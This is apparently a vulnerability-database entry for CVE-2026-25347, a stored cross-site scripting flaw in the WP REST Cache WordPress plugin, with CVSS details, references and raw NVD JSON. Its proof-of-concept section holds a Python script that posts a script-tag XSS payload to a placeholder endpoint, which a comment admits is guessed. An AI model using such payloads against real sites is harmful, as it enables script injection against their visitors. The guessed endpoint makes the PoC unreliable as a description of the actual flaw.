CVE-2026-25347

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Acato WP REST Cache wp-rest-cache allows Stored XSS.This issue affects WP REST Cache: from n/a through <= 2026.1.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Acato WP REST Cache <= 2026.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://example.com/wp-json/wp-rest-cache/v1/endpoint"

# Malicious Payload demonstrating Stored XSS
# Note: Modify the endpoint and parameters based on actual vulnerability research
payload = {
    "data": "<script>alert('CVE-2026-25347 Stored XSS');</script>",
    "id": 1
}

try:
    # Send POST request to inject payload
    response = requests.post(target_url, data=payload)
    
    if response.status_code == 200:
        print("Payload sent successfully.")
        print("Check the cached page to verify script execution.")
    else:
        print(f"Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25347
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25347
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25347/
[4] VulDB https://vuldb.com/cve/CVE-2026-25347
[5] https://patchstack.com/database/Wordpress/Plugin/wp-rest-cache/vulnerability/wordpress-wp-rest-cache-plugin-2026-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25347", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:45.490", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Acato WP REST Cache wp-rest-cache allows Stored XSS.This issue affects WP REST Cache: from n/a through <= 2026.1.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Acato WP REST Cache wp-rest-cache permite XSS Almacenado. Este problema afecta a WP REST Cache: desde n/a hasta <= 2026.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-rest-cache/vulnerability/wordpress-wp-rest-cache-plugin-2026-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}